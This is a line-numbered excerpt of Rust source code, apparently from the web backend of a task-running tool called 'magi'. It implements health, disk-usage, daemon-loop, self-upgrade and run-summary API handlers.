2745 to: Some(latest.tag_name),
2746 },
2747 None => UpdateView {
2748 available: false,
2749 to: None,
2750 },
2751 }
2752}
2753
2754fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2760 let now = Timestamp::now();
2761 let lease = updater::read_lease(&ui.home);
2762 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2763 let run_id = alive
2764 .and_then(|l| l.parked_run.as_deref())
2765 .or(progress.parked_run.as_deref());
2766 let parking = progress.stage == updater::Stage::Parking;
2767 let waited = alive.map_or_else(String::new, |l| {
2768 let secs = updater::waited_secs(l, now);
2769 format!(" (waited {} min so far)", secs / 60)
2770 });
2771 let run_text = run_id
2772 .filter(|_| parking)
2773 .map(|id| match read_run(&ui.runs, id).ok() {
2774 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2775 None => format!("run {id} is finishing"),
2776 });
2777 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2778 .filter(|t| parking && !t.is_empty())
2779 .map(|t| format!("{t} finishing"));
2780 let waiting_on = match (run_text, talks_text) {
2781 (None, None) => None,
2782 (run, talks) => {
2783 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2784 Some(format!(
2785 "{} before the address is handed over{waited}",
2786 parts.join(" and ")
2787 ))
2788 }
2789 };
2790 let detail = progress
2791 .detail
2792 .clone()
2793 .or_else(|| updater::read_note(&ui.home, &progress));
2794 let stalled = updater::stall(&progress, lease.as_ref(), now);
2795 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2796 UpgradeProgressView {
2797 trigger: progress.trigger,
2798 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2799 stuck_kind: stalled.map(|s| s.kind),
2800 handover_alive: alive.is_some(),
2801 stage: progress.stage,
2802 from: progress.from,
2803 to: progress.to,
2804 waiting_on,
2805 started_at: progress.started_at,
2806 updated_at: progress.updated_at,
2807 detail,
2808 }
2809}
2810
2811#[derive(Debug, Serialize)]
2814struct DiskView {
2815 #[serde(skip_serializing_if = "Option::is_none")]
2817 free_bytes: Option<u64>,
2818 runs_bytes: Option<u64>,
2820 worktrees_bytes: Option<u64>,
2822 #[serde(skip_serializing_if = "Option::is_none")]
2824 cache_bytes: Option<u64>,
2825 retention: Option<crate::retention::Report>,
2827}
2828
2829const DISK_REFRESH: Duration = Duration::from_secs(60);
2832
2833#[derive(Debug, Clone, PartialEq, Eq)]
2834struct DiskScope {
2835 runs: PathBuf,
2836 worktrees: PathBuf,
2837 cache: Option<PathBuf>,
2838}
2839
2840impl DiskScope {
2841 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2842 Self {
2843 runs: ui.runs.clone(),
2844 worktrees: ui.worktrees_root.clone(),
2845 cache: cfg.and_then(Config::cache_dir),
2846 }
2847 }
2848}
2849
2850#[derive(Debug, Clone, Copy, Default)]
2851struct DiskCapacity {
2852 free_bytes: Option<u64>,
2853 runs_bytes: Option<u64>,
2854 worktrees_bytes: Option<u64>,
2855 cache_bytes: Option<u64>,
2856}
2857
2858impl DiskCapacity {
2859 fn measure(scope: &DiskScope) -> Self {
2860 Self {
2861 free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2862 runs_bytes: disk_capacity_size(&scope.runs),
2863 worktrees_bytes: disk_capacity_size(&scope.worktrees),
2864 cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2865 }
2866 }
2867
2868 fn retain_successes(&mut self, next: Self) {
2869 self.free_bytes = next.free_bytes.or(self.free_bytes);
2870 self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2871 self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2872 self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2873 }
2874}
2875
2876fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2879 let metadata = match std::fs::symlink_metadata(path) {
2880 Ok(metadata) => metadata,
2881 Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2882 Err(_) => return None,
2883 };
2884 if !metadata.is_dir() {
2885 return Some(if metadata.is_file() {
2886 metadata.len()
2887 } else {
2888 0
2889 });
2890 }
2891 let mut total = 0;
2892 let mut stack = vec![path.to_owned()];
2893 while let Some(dir) = stack.pop() {
2894 for entry in std::fs::read_dir(dir).ok()? {
2895 let entry = entry.ok()?;
2896 let metadata = entry.metadata().ok()?;
2897 if metadata.is_dir() {
2898 stack.push(entry.path());
2899 } else if metadata.is_file() {
2900 total += metadata.len();
2901 }
2902 }
2903 }
2904 Some(total)
2905}
2906
2907#[derive(Debug, Default)]
2908struct DiskObservation {
2909 scope: Option<DiskScope>,
2910 capacity: DiskCapacity,
2911 in_flight: bool,
2912 finished: Option<std::time::Instant>,
2913}
2914
2915impl DiskObservation {
2916 fn observe(
2917 state: &Arc<Mutex<Self>>,
2918 scope: DiskScope,
2919 measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2920 ) -> DiskCapacity {
2921 let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2922 if observation.scope.as_ref() != Some(&scope) {
2923 observation.scope = Some(scope.clone());
2924 observation.capacity = DiskCapacity::default();
2925 observation.finished = None;
2926 }
2927 let capacity = observation.capacity;
2928 if observation.in_flight
2929 || observation
2930 .finished
2931 .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2932 {
2933 return capacity;
2934 }
2935 observation.in_flight = true;
2936 drop(observation);
2937
2938 let refresh = DiskRefresh {
2939 state: Arc::clone(state),
2940 scope,
2941 };
2942 tokio::task::spawn_blocking(move || {
2943 let next = measure(&refresh.scope);
2944 let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2945 if observation.scope.as_ref() == Some(&refresh.scope) {
2946 observation.capacity.retain_successes(next);
2947 }
2948 drop(observation);
2949 drop(refresh);
2952 });
2953 capacity
2954 }
2955}
2956
2957struct DiskRefresh {
2958 state: Arc<Mutex<DiskObservation>>,
2959 scope: DiskScope,
2960}
2961
2962impl Drop for DiskRefresh {
2963 fn drop(&mut self) {
2964 let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2965 observation.in_flight = false;
2966 if observation.scope.as_ref() == Some(&self.scope) {
2967 observation.finished = Some(std::time::Instant::now());
2969 }
2970 }
2971}
2972
2973impl DiskView {
2974 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2976 let capacity = DiskObservation::observe(
2977 &ui.monitor.disk,
2978 DiskScope::of(ui, cfg),
2979 DiskCapacity::measure,
2980 );
2981 Self::with_capacity(ui, capacity)
2982 }
2983
2984 fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
2985 Self {
2986 free_bytes: crate::disk::free_bytes(&ui.runs)
2987 .ok()
2988 .or(capacity.free_bytes),
2989 runs_bytes: capacity.runs_bytes,
2990 worktrees_bytes: capacity.worktrees_bytes,
2991 cache_bytes: capacity.cache_bytes,
2992 retention: ui
2993 .runs
2994 .parent()
2995 .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2996 .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2997 }
2998 }
2999}
3000
3001#[derive(Debug, Serialize)]
3003struct DaemonView {
3004 running: bool,
3005 idle: Option<bool>,
3006 dispatch_wait: Option<daemon::DispatchWait>,
3007 pid: Option<u32>,
3008 current: Vec<daemon::Current>,
3012 completed: Option<u64>,
3013 stale_for_secs: Option<i64>,
3014}
3015
3016impl DaemonView {
3017 fn of(status: Option<daemon::Reading>) -> Self {
3021 let Some(status) = status else {
3022 return Self {
3023 running: false,
3024 idle: None,
3025 dispatch_wait: None,
3026 pid: None,
3027 current: Vec::new(),
3028 completed: None,
3029 stale_for_secs: None,
3030 };
3031 };
3032 let now = Timestamp::now();
3033 let age = status.age_secs(now);
3034 Self {
3035 running: status.running(now),
3036 idle: Some(status.idle),
3037 dispatch_wait: status.dispatch_wait,
3038 pid: status.pid,
3039 current: status.current,
3040 completed: Some(status.completed),
3041 stale_for_secs: age,
3042 }
3043 }
3044}
3045
3046fn refresh_health_config(ui: &Arc<Ui>) {
3049 let mut cache = ui
3050 .monitor
3051 .disk_cache
3052 .lock()
3053 .unwrap_or_else(PoisonError::into_inner);
3054 if cache.loading
3055 || cache
3056 .measured
3057 .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
3058 {
3059 return;
3060 }
3061 cache.loading = true;
3062 let weak = Arc::downgrade(ui);
3063 std::thread::spawn(move || {
3064 let Some(ui) = weak.upgrade() else { return };
3065 let cfg = deputy_config(&ui.repo);
3066 let update = cached_update_view(cfg.as_ref());
3067 let mut cache = ui
3068 .monitor
3069 .disk_cache
3070 .lock()
3071 .unwrap_or_else(PoisonError::into_inner);
3072 cache.config = cfg;
3073 cache.update = Some(update);
3074 cache.measured = Some(std::time::Instant::now());
3075 cache.loading = false;
3076 });
3077}
3078
3079fn health_counts(
3080 ui: &Ui,
3081 fallback_questions_rev: u64,
3082) -> ApiResult<(usize, usize, usize, u64, usize)> {
3083 let mut index = ui
3084 .monitor
3085 .health_index
3086 .lock()
3087 .unwrap_or_else(PoisonError::into_inner);
3088 let ids = run_ids(&ui.runs);
3089 let seen: HashSet<_> = ids.iter().cloned().collect();
3090 index.runs.retain(|id, _| seen.contains(id));
3091 let mut unreadable = 0;
3092 for id in ids {
3093 let identity = file_identity(&ui.runs.join(&id).join("run.json"));
3096 let bad = match identity {
3097 Ok(identity) => {
3098 if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
3099 let bad = read_run(&ui.runs, &id).is_err();
3100 index.runs.insert(id.clone(), (identity, bad));
3101 #[cfg(test)]
3102 {
3103 index.run_parses += 1;
3104 }
3105 }
3106 index.runs[&id].1
3107 }
3108 Err(_) => true,
3109 };
3110 unreadable += usize::from(bad);
3111 }
3112 let questions_rev = try_stamps(ui.questions.root(), false, true)
3113 .map(|stamps| stamps_revision(&stamps))
3114 .unwrap_or(fallback_questions_rev);
3115 if index.questions.as_ref().is_none_or(|counts| {
3116 counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
3117 }) {
3118 let questions = ui.questions.list();
3119 index.questions = Some(QuestionCounts {
3120 revision: questions_rev,
3121 measured: std::time::Instant::now(),
3122 open: questions.iter().filter(|q| q.status.open()).count(),
3123 owner: questions
3124 .iter()
3125 .filter(|q| {
3126 q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
3127 })
3128 .count(),
3129 });
3130 }
3131 let notifications_rev =
3132 stamps_revision(¬ice_and_decision_stamps(ui).map_err(anyhow::Error::from)?);
3133 if index
3134 .notices
3135 .is_none_or(|(rev, _)| rev != notifications_rev)
3136 {
3137 index.notices = Some((notifications_rev, ui.notices.count_unread()));
3138 }
3139 let questions = index.questions.as_ref().unwrap();
3140 Ok((
3141 unreadable,
3142 questions.open,
3143 questions.owner,
3144 notifications_rev,
3145 index.notices.unwrap().1,
3146 ))
3147}
3148
3149async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3150 let revisions = ui.monitor.revisions(&ui).await?;
3151 refresh_health_config(&ui);
3152 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3153 let reading = daemon::read_status(&ui.home);
3157 let loop_rev = ui.lock_loop().rev;
3161 let (
3162 runs_unreadable,
3163 questions_open,
3164 questions_needs_owner,
3165 notifications_rev,
3166 notifications_unread,
3167 ) = health_counts(&ui, revisions.2)?;
3168 let ((cfg, config_observed, sizes, measured), update) = {
3169 let cache = ui
3170 .monitor
3171 .disk_cache
3172 .lock()
3173 .unwrap_or_else(PoisonError::into_inner);
3174 (
3175 (
3176 cache.config.clone(),
3177 cache.measured.is_some(),
3178 cache.disk.clone(),
3179 cache.measured,
3180 ),
3181 cache.update.clone().unwrap_or(UpdateView {
3182 available: false,
3183 to: None,
3184 }),
3185 )
3186 };
3187 let prior_capacity = {
3191 let mut observation = ui
3192 .monitor
3193 .disk
3194 .lock()
3195 .unwrap_or_else(PoisonError::into_inner);
3196 if observation.scope.is_none()
3199 && let Some(sizes) = sizes
3200 {
3201 observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3202 observation.capacity = DiskCapacity {
3203 runs_bytes: Some(sizes.runs),
3204 worktrees_bytes: Some(sizes.worktrees),
3205 cache_bytes: sizes.cache,
3206 free_bytes: None,
3207 };
3208 observation.finished = measured;
3209 }
3210 observation.scope.as_ref().map(|_| observation.capacity)
3211 };
3212 let disk = if config_observed {
3213 serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3214 } else {
3215 serde_json::to_value(DiskView::with_capacity(
3216 &ui,
3217 prior_capacity.unwrap_or_default(),
3218 ))
3219 .ok()
3220 };
3221 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3222 let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3223 #[cfg(not(test))]
3224 let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3225 #[cfg(test)]
3226 let looping = ui.loop_view(reading.clone());
3227 Ok(Json(HealthView {
3228 jobs: jobs.into_iter().map(WorkerView::from).collect(),
3229 version: env!("CARGO_PKG_VERSION"),
3230 home: ui.home.display().to_string(),
3231 queue_rev: revisions.0,
3232 runs_rev: revisions.1,
3233 questions_rev: revisions.2,
3234 talks_rev: revisions.3,
3235 notifications_rev,
3236 notifications_unread,
3237 loop_rev,
3238 runs_unreadable,
3239 questions_open,
3240 questions_needs_owner,
3241 daemon: DaemonView::of(reading.clone()),
3242 looping,
3243 disk,
3244 update,
3245 upgrade,
3246 upgrade_request_error: ui
3247 .upgrade_request_error
3248 .lock()
3249 .unwrap_or_else(PoisonError::into_inner)
3250 .clone(),
3251 }))
3252 })
3253 .await
3254}
3255
3256#[derive(Debug, Serialize)]
3258struct LoopView {
3259 running: bool,
3261 stopping: bool,
3263 parking: bool,
3265 owned: bool,
3267 repo: String,
3270 merge: Option<String>,
3273 last_error: Option<String>,
3281 daemon: DaemonView,
3284}
3285
3286#[derive(Debug, Clone, Copy)]
3291struct Foreign {
3292 pid: Option<u32>,
3294}
3295
3296impl Foreign {
3297 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3300 if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3304 return None;
3305 }
3306 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3307 }
3308
3309 fn who(&self) -> String {
3312 match self.pid {
3313 Some(pid) => format!("another magi process (pid {pid})"),
3314 None => "another magi process".to_owned(),
3315 }
3316 }
3317}
3318
3319type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3324
3325#[cfg(test)]
3326type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3327
3328#[cfg(test)]
3330fn launch_daemon(
3331 opts: daemon::Opts,
3332 stop: daemon::Stop,
3333) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3334 Box::pin(daemon::serve_until(opts, stop))
3335}
3336
3337#[derive(Debug, Default)]
3339struct LoopState {
3340 #[cfg(test)]
3342 live: Option<Live>,
3343 rev: u64,
3346 last_error: Option<String>,
3349}
3350
3351#[cfg(test)]
3353#[derive(Debug)]
3354struct Live {
3355 stop: daemon::Stop,
3357 handle: tokio::task::JoinHandle<()>,
3362 opts: daemon::Opts,
3366}
3367
3368#[cfg(test)]
3369impl Live {
3370 fn alive(&self) -> bool {
3372 !self.handle.is_finished()
3373 }
3374}
3375
3376fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3383 state.lock().unwrap_or_else(PoisonError::into_inner)
3384}
3385
3386async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3388 blocking(move || {
3389 let reading = daemon::read_status(&ui.home);
3390 #[cfg(not(test))]
3391 let view = ui.try_loop_view(reading)?;
3392 #[cfg(test)]
3393 let view = ui.loop_view(reading);
3394 Ok(Json(view))
3395 })
3396 .await
3397}
3398
3399#[derive(Debug, Deserialize)]
3405#[serde(deny_unknown_fields)]
3406struct LoopCommand {
3407 running: bool,
3408 #[serde(default)]
3418 park: bool,
3419}
3420
3421async fn loop_post(
3424 State(ui): State<Arc<Ui>>,
3425 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3426) -> ApiResult<Json<LoopView>> {
3427 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3430 #[cfg(not(test))]
3431 {
3432 if body.running {
3433 ui.start_detached_loop().await?;
3434 } else {
3435 let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3436 ui.stop_loop(foreign, body.park)?;
3437 }
3438 Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3439 }
3440 #[cfg(test)]
3441 {
3442 blocking(move || {
3443 let reading = daemon::read_status(&ui.home);
3444 let foreign = Foreign::of(reading.as_ref());
3445 if body.running {
3446 ui.start_loop(foreign)?;
3447 } else {
3448 ui.stop_loop(foreign, body.park)?;
3449 }
3450 Ok(Json(ui.loop_view(reading)))
3451 })
3452 .await
3453 }
3454}
3455
3456#[derive(Debug, Serialize)]
3458struct UpgradeView {
3459 from: String,
3461 to: Option<String>,
3463 detail: String,
3465}
3466
3467fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3470 progress.filter(|p| !p.stage.terminal())
3471}
3472
3473fn upgrade_retry_after(message: &str) -> Option<u64> {
3476 if !message.contains("GitHub") || !message.contains("rate limit") {
3477 return None;
3478 }
3479 if message.contains("retry now") {
3480 return Some(0);
3481 }
3482 let duration = message
3483 .split_once("resets in ")
3484 .or_else(|| message.split_once("retry after "))?
3485 .1
3486 .split_once(')')?
3487 .0;
3488 let mut rest = duration.trim();
3489 if rest.is_empty() {
3490 return None;
3491 }
3492 let mut total = 0u64;
3493 while !rest.is_empty() {
3494 let n = rest.find(|c: char| !c.is_ascii_digit())?;
3495 let amount: u64 = rest[..n].parse().ok()?;
3496 let scale = match rest[n..].chars().next()? {
3497 's' => 1,
3498 'm' => 60,
3499 'h' => 3600,
3500 'd' => 86400,
3501 _ => return None,
3502 };
3503 total = total.checked_add(amount.checked_mul(scale)?)?;
3504 rest = rest[n + 1..].trim_start();
3505 }
3506 Some(total)
3507}
3508
3509#[derive(Debug, Clone, Serialize)]
3510struct UpgradeRequestFailure {
3511 occurred_at: String,
3512 error: String,
3513 retry_after_secs: Option<u64>,
3514 retry_at: Option<u64>,
3516}
3517
3518impl UpgradeRequestFailure {
3519 fn new(error: String) -> Self {
3520 let retry_after_secs = upgrade_retry_after(&error);
3521 let now = std::time::SystemTime::now()
3522 .duration_since(std::time::UNIX_EPOCH)
3523 .unwrap_or_default()
3524 .as_secs();
3525 Self {
3526 occurred_at: jiff::Timestamp::now().to_string(),
3527 error,
3528 retry_after_secs,
3529 retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3530 }
3531 }
3532}
3533
3534async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3547 begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3548}
3549
3550async fn begin_upgrade(
3551 ui: &Arc<Ui>,
3552 trigger: updater::UpgradeTrigger,
3553 latest: Option<kaishin::LatestRelease>,
3554) -> Response {
3555 let reading = daemon::read_status(&ui.home);
3556 if let Some(other) = Foreign::of(reading.as_ref()) {
3557 return ApiError::conflict(format!(
3558 "{} is a legacy scheduler without detached restart support. \
3559 Finish or explicitly park its work in the existing UI before \
3560 this first migration; independent schedulers do not need this.",
3561 other.who()
3562 ))
3563 .into_response();
3564 }
3565
3566 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3571 return ApiError::conflict("another request is already preparing an upgrade")
3572 .into_response();
3573 };
3574 if trigger == updater::UpgradeTrigger::Auto {
3577 let cfg = match Config::discover(&ui.repo, None) {
3578 Ok((cfg, _)) => cfg,
3579 Err(e) => {
3580 return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3581 }
3582 };
3583 let Some(latest) = latest else {
3584 return StatusCode::NO_CONTENT.into_response();
3585 };
3586 let busy = ui.auto_upgrade_busy();
3587 let failed = ui
3588 .auto_failed_tag
3589 .lock()
3590 .unwrap_or_else(PoisonError::into_inner)
3591 .clone();
3592 let decision = auto_upgrade_decision(
3593 &cfg.update,
3594 updater::disabled_by_env(),
3595 ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3596 || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some(),
3597 busy,
3598 &latest.tag_name,
3599 failed.as_deref(),
3600 );
3601 if decision != AutoUpgradeDecision::Trigger {
3602 let reason = match decision {
3603 AutoUpgradeDecision::Wait => "busy; waiting for runs and chats to finish",
3604 AutoUpgradeDecision::Skip(reason) => reason,
3605 AutoUpgradeDecision::Trigger => unreachable!(),
3606 };
3607 updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3608 return StatusCode::NO_CONTENT.into_response();
3609 }
3610 ui.upgrade_spawned
3614 .store(true, std::sync::atomic::Ordering::SeqCst);
3615 if ui.auto_upgrade_busy() {
3616 ui.upgrade_spawned
3617 .store(false, std::sync::atomic::Ordering::SeqCst);
3618 updater::log_step(&ui.home, "auto-upgrade: work started; waiting for idle");
3619 return StatusCode::NO_CONTENT.into_response();
3620 }
3621 updater::log_step(&ui.home, "auto-upgrade: idle; beginning update and restart");
3622 return finish_upgrade_request(
3623 ui,
3624 upgrade_checked_for(
3625 ui,
3626 env!("CARGO_PKG_VERSION").into(),
3627 Ok(Some(latest)),
3628 trigger,
3629 ),
3630 );
3631 }
3632 finish_upgrade_request(ui, upgrade_prepare(ui).await)
3633}
3634
3635fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3636 match result {
3637 Ok(out) => {
3638 *ui.upgrade_request_error
3639 .lock()
3640 .unwrap_or_else(PoisonError::into_inner) = None;
3641 out.into_response()
3642 }
3643 Err(error) if error.status != StatusCode::CONFLICT => {
3644 let failure = UpgradeRequestFailure::new(error.message);
3645 *ui.upgrade_request_error
3646 .lock()
3647 .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3648 let mut response = (error.status, Json(&failure)).into_response();
3649 if let Some(value) = failure
3650 .retry_after_secs
3651 .and_then(|secs| secs.to_string().parse().ok())
3652 {
3653 response.headers_mut().insert("retry-after", value);
3654 }
3655 response
3656 }
3657 Err(error) => error.into_response(),
3658 }
3659}
3660
3661async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3662 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3663 return Err(ApiError::conflict(
3664 "an upgrade is already in progress (this process started one and it \
3665 has not finished or failed yet)",
3666 ));
3667 }
3668 let recorded = updater::read_progress(&ui.home);
3669 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3670 return Err(ApiError::conflict(format!(
3671 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3672 stays stuck, restart the deck; on start it settles a stale record.",
3673 p.stage.as_str(),
3674 p.from,
3675 p.to.as_deref().unwrap_or("?"),
3676 )));
3677 }
3678
3679 if crate::updater::disabled_by_env() {
3685 return Ok((
3686 StatusCode::OK,
3687 Json(UpgradeView {
3688 from: env!("CARGO_PKG_VERSION").to_owned(),
3689 to: None,
3690 detail: format!(
3691 "Automatic updates are disabled by {}. Nothing was parked \
3692 and nothing restarted.",
3693 crate::updater::NO_AUTOUPDATE_ENV
3694 ),
3695 }),
3696 ));
3697 }
3698
3699 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3702 let from = env!("CARGO_PKG_VERSION").to_owned();
3703 let latest = match crate::updater::Checker::new(&cfg.update) {
3704 Some(checker) => checker.newer_release().await,
3705 None => Ok(None),
3706 };
3707 upgrade_checked(ui, from, latest)
3708}
3709
3710fn upgrade_checked(
3711 ui: &Arc<Ui>,
3712 from: String,
3713 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3714) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3715 upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3716}
3717
3718fn upgrade_checked_for(
3719 ui: &Arc<Ui>,
3720 from: String,
3721 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3722 trigger: updater::UpgradeTrigger,
3723) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3724 let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3725 let Some(latest) = latest else {
3726 return Ok((
3727 StatusCode::OK,
3728 Json(UpgradeView {
3729 from,
3730 to: None,
3731 detail: "Already on the newest release. Nothing was parked \
3732 and nothing restarted."
3733 .to_owned(),
3734 }),
3735 ));
3736 };
3737
3738 let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3739
3740 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3744 progress.trigger = trigger;
3745 updater::write_progress_logged(&ui.home, &progress);
3746
3747 let home = ui.home.clone();
3748 ui.upgrade_spawned
3749 .store(true, std::sync::atomic::Ordering::SeqCst);
3750 let spawned = Arc::clone(&ui.upgrade_spawned);
3751 let runner = ui.upgrade_runner;
3752 let failed = ui.auto_failed_tag.clone();
3753 let tag = latest.tag_name.clone();
3754 tokio::spawn(async move {
3755 if let Err(e) = runner(home.clone()).await {
3756 if trigger == updater::UpgradeTrigger::Auto {
3757 *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3758 }
3759 tracing::error!("the upgrade did not complete: {e:#}");
3760 let _ = updater::fail_progress(&home, &format!("{e:#}"));
3764 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3766 }
3767 });
3768
3769 Ok((
3770 StatusCode::ACCEPTED,
3771 Json(UpgradeView {
3772 from,
3773 to: Some(latest.tag_name),
3774 detail,
3775 }),
3776 ))
3777}
3778
3779async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3784 crate::updater::run_self_update(true, false, true).await?;
3787 updater::log_step(&home, "binary replaced - recording the replaced stage");
3788 if let Some(mut progress) = updater::read_progress(&home) {
3789 progress.advance(updater::Stage::Replaced);
3790 updater::write_progress_logged(&home, &progress);
3791 }
3792 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3793 HANDOVER.notify_one();
3794 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3795 Ok(())
3796}
3797
3798#[derive(Debug, Serialize)]
3804struct RunSummary {
3805 activity: String,
3806 id: String,
3807 short: String,
3808 status: String,
3809 done: bool,
3810 instruction: String,
3811 title: String,
3812 repo: String,
3813 repo_name: String,
3814 created_at: String,
3815 updated_at: String,
3816 candidates: usize,
3817 viable: usize,
3818 judges: usize,
3819 winner: Option<char>,
3820 reviews: usize,
3821 quota_losses: usize,
3822 event: Option<String>,
3823 superseded_by: Option<String>,
3828 waiting: bool,
3835 live: crate::run::Liveness,
3839 pr: Option<crate::run::PrRecord>,
3841 unmerged_by_design: bool,
3847 #[serde(default)]
3850 display_status: String,
3851 #[serde(default)]
3854 badge_status: String,
3855 origin_label: String,
3858}
3859
3860impl RunSummary {
3861 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3862 Self {
3863 activity: crate::run_progress::activity(state, live, waiting),
3864 id: state.id.clone(),
3865 short: state.short().to_owned(),
3866 status: status_word(state.status),
3867 done: state.status.done(),
3868 unmerged_by_design: state.unmerged_by_design(),
3869 display_status: run_display_status(state, waiting, live),
3870 badge_status: run_display_status(state, waiting, live),
3871 instruction: state.instruction.clone(),
3872 title: title_from(&state.instruction, TITLE_MAX),
3873 repo: state.repo.display().to_string(),
3874 repo_name: state
3875 .repo
3876 .file_name()
3877 .map(|n| n.to_string_lossy().into_owned())
3878 .unwrap_or_default(),
3879 created_at: state.created_at.to_string(),
3880 updated_at: state.updated_at.to_string(),
3881 candidates: state.candidates.len(),
3882 viable: state.viable().len(),
3883 judges: state.config.graph.judges,
3884 winner: state.winner().map(|c| c.label),
3885 reviews: state.reviews.len(),
3886 quota_losses: state.quota.len(),
3887 event: state
3888 .verification_blocking_cause()
3889 .or_else(|| state.events.last().map(|e| e.message.clone())),
3890 waiting,
3891 live,
3892 superseded_by: None,
3895 pr: state.pr.clone(),
3896 origin_label: crate::run::origin_label(state.origin.as_ref()),
3897 }
3898 }
3899}
3900
3901fn status_word(status: RunStatus) -> String {
3904 status.as_str().to_owned()
3908}
3909
3910fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3916 if waiting {
3917 return "waiting".to_owned();
3918 }
3919 if state.unmerged_by_design() {
3920 return "unmerged".to_owned();
3921 }
3922 if !state.status.done() && live == crate::run::Liveness::Dead {
3923 if state.parked {
3926 return "parked".to_owned();
3927 }
3928 return "stale".to_owned();
3929 }
3930 status_word(state.status)
3931}
3932
3933fn run_badge_status(
3941 state: &RunState,
3942 display_status: &str,
3943 live: crate::run::Liveness,
3944 superseded: bool,
3945) -> String {
3946 if state.status.done() || live == crate::run::Liveness::Live {
3947 return display_status.to_owned();
3948 }
3949 if superseded {
3950 return "superseded".to_owned();
3951 }
3952 if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3956 return "stale".to_owned();
3957 }
3958 display_status.to_owned()
3959}
3960
3961#[derive(Debug, Deserialize)]
3963struct ListQuery {
3964 #[serde(default)]
3965 limit: Option<usize>,
3966 ids: Option<String>,
3968}
3969
3970impl ListQuery {
3971 fn contains(&self, id: &str) -> bool {
3972 self.ids
3973 .as_ref()
3974 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3975 }
3976}
3977
